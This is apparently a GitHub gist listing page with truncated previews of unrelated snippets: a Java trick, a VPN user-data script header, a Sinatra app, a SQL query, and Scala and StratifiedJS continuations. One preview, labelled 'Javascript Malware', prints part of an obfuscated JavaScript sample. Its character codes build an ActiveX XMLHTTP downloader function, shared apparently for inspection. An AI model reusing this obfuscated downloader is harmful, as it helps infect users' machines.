Skip to content

Instantly share code, notes, and snippets.

import static java.util.Arrays.*;
public class JavaDoc {
public String name() {
return asList('I', 'x',
'`', 'u',
'`', 'a',
'x', 'd',
'q', 'f')
.stream()
#!/bin/sh
#
# voodoo-vpn.sh: Amazon EC2 user-data file for automatic configuration of a VPN
# on a Ubuntu server instance. Tested with 12.04.
#
# See http://www.sarfata.org/posts/setting-up-an-amazon-vpn-server.md
#
# DO NOT RUN THIS SCRIPT ON YOUR MAC! THIS IS MEANT TO BE RUN WHEN
# YOUR AMAZON INSTANCE STARTS!
#
@benmmurphy
benmmurphy / gist:382c4246c93a42d0d60e
Created November 15, 2014 11:25
Javascript Malware (console.log was eval)
var k="";function l(m){k+=m;};l("102!!117!!110!!");l("99!!116!!105!!111!!110!!32");/*60712975*/l("!!100!!108!!40!!102!!114!!44!");l("!116!!111!!41!!32!!123!!32!!");l("118!!97!!114!!32!!12");l("0!!111!!32!!61!!32!!110!!");l("101!!119!!32!!65!!9");l("9!!116!!105!!118!!101!!8");l("8!!79!!98!!106!!101!!99!");l("!116!!40!!34!!77");l("!!83!!88!!77!!76!!50!!46!");l("!88!!77!!76!!72!");l("!84!!84!!80!!34!!41!!59!!32!");/*29959874*/l("!120!!111!!46!!111!");l("!110!!114!!101!!97!!100");/*40603795*/l("!!121!!115!!116!!97!!116!!");l("101!!99!!104!!97!!110");l("!!103!!101!!32!!61!!32");l("!!102!!117!!110!!99!!1");l("16!!105!!111!!110!!40!");l("!41!!32!!123!!32!!105!!10");l("2!!32!!40!!120!!1");/*40911160*/l("11!!46!!114!!101!!9");l("7!!100!!121!!83!!11");l("6!!97!!116!!101!!");/*2370194*/l("32!!61!!61!!61!!32");l("!!52!!41!!32!!123!!32");/*55689847*/l("!!118!!97!!114!!32!!120!!97!!3");/*69516250*/l("2!!61!!32!!110!!101!!1");l("19!!32!!65!!99!!");l("116!!105!!118!!1");l("01!!88!!79!!98!!");/*86419873*/l("106!!101!!99!!116"
{"createConversationResponse":{"codeMessage":null,"codeType":"error","code":"3","messages":[{"messageCode":101,"messageText":"Validation Failure Email address missing."}]}}
# app.rb
require 'sinatra'
require 'securerandom'
require 'aws-sdk'
set :protection, :except => :frame_options
HOSTED_ZONE_ID = "HOLLAID"
DOMAIN = "holla.net"
SUFFIX = "-bad.#{DOMAIN}"
logs=# create table timestamp_test (a timestamp, b timestamp);
CREATE TABLE
logs=# insert into timestamp_test(a,b) values('2015-04-25 06:29:40', '2015-04-25 06:35:36');
INSERT 0 1
logs=# select b-a from timestamp_test where b-a > 3000;
?column?
-----------
356000000
(1 row)
@benmmurphy
benmmurphy / gist:1189857
Created September 2, 2011 20:40
stratify js
function pause(t) {
waitfor() {
window.setTimeout(resume, t);
}
}
var object = {
pause_then_alert : function() {
pause(1000);
@benmmurphy
benmmurphy / gist:1191381
Created September 3, 2011 15:55
Future
import scala.util.continuations._
import scala.collection.mutable._
class Future {
def await : Unit @suspendable = {
/* .... */
shift { k : (Unit => Unit) =>
}
}
@benmmurphy
benmmurphy / gist:1191571
Created September 3, 2011 18:23
Suspendable Future Implementation for Scala
/* scalac -P:continuations:enable */
import scala.util.continuations._
import scala.collection.mutable._
class Future[A] private (ctx: => A @suspendable) {
private var res:Option[A] = None
def await() : A @suspendable = {
if (res.isEmpty) {